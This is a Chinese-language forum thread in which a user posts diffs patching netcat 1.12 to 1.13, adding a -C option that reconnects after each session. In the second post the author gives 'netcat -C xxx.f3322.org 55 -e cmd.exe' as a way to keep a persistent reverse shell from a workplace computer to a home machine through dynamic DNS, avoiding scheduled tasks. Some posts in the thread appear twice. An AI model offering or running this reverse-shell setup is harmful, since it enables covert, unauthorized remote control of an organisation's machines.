update netcat 1.12 to 1.13
why?
modify by 2013/04/30
netcat -C ip port same as netcat -L -p port
how to update:
- while ((x = getopt (argc, argv, "ade:g:G:hi:lLno:p:rs:tuvw:z")) != EOF) {
+ while ((x = getopt (argc, argv, "aCde:g:G:hi:lLno:p:rs:tuvw:z")) != EOF) {
#ifdef WIN32
WSACleanup();
#endif
if (cycle == 1)
goto recycle;
changed to:
if (cycle == 1)
goto recycle;
#ifdef WIN32
WSACleanup();
#endif
https://github.com/chenghao11/netcat-1. ... 12-to-1.13
[flash=]http://v.youku.com/v_show/id_XNTUwMjI0Mzg4.html[/flash]
update netcat 1.12 to 1.13
-
- 帖子: 39
- 注册时间: 2007-11-27 11:43
-
- 帖子: 39
- 注册时间: 2007-11-27 11:43
Re: update netcat 1.12 to 1.13
netcat -C选项的好处 :
可以有的应用,netcat -C xxx.f3322.org 55 -e cmd.exe。
比如你单位上可以用上面的简单的命令作为一个远控的服务端。
而把你家里的无线路由器的ip地址放到域名里xxx.f3322.org!
这样你就可以在家里远控单位上的机器了。
当然要映射端口55到你家里的机器的55号端口。
这里可以是内网的机器。
而不用用windows的计划服务或linux的定时服务了。
可以有的应用,netcat -C xxx.f3322.org 55 -e cmd.exe。
比如你单位上可以用上面的简单的命令作为一个远控的服务端。
而把你家里的无线路由器的ip地址放到域名里xxx.f3322.org!
这样你就可以在家里远控单位上的机器了。
当然要映射端口55到你家里的机器的55号端口。
这里可以是内网的机器。
而不用用windows的计划服务或linux的定时服务了。
-
- 帖子: 39
- 注册时间: 2007-11-27 11:43
Re: update netcat 1.12 to 1.13
how to update:
unsigned int o_wait = 0;
USHORT o_zero = 0;
+USHORT o_connect = 0;
rr = recv (fd, bigbuf_net, BIGSIZ, 0);
if (rr <= 0) {
Debug (("recv rr <= 0 "))
+ if (_isatty( 1 ) == 0) /* > recv = 0,fix by chenghao0511#gmail.com*/
+ exit(0);
FD_CLR (fd, ding1); /* net closed, we'll finish up... */
rr = read (0, bigbuf_in, BIGSIZ);
if (rr <= 0) { /* at end, or fukt, or ... */
close (0);
+ shutdown(fd, 0x02); /* by chenghao0511 */
+ closesocket (fd);
+ if(o_connect)
+ exit(0);
+ return (0);
} else {
rzleft = rr;
zp = bigbuf_in;
case 'C': /* connect then cycle back to start instead of exiting */
+ o_connect = 1;
cycle = 1;
break;
unsigned int o_wait = 0;
USHORT o_zero = 0;
+USHORT o_connect = 0;
rr = recv (fd, bigbuf_net, BIGSIZ, 0);
if (rr <= 0) {
Debug (("recv rr <= 0 "))
+ if (_isatty( 1 ) == 0) /* > recv = 0,fix by chenghao0511#gmail.com*/
+ exit(0);
FD_CLR (fd, ding1); /* net closed, we'll finish up... */
rr = read (0, bigbuf_in, BIGSIZ);
if (rr <= 0) { /* at end, or fukt, or ... */
close (0);
+ shutdown(fd, 0x02); /* by chenghao0511 */
+ closesocket (fd);
+ if(o_connect)
+ exit(0);
+ return (0);
} else {
rzleft = rr;
zp = bigbuf_in;
case 'C': /* connect then cycle back to start instead of exiting */
+ o_connect = 1;
cycle = 1;
break;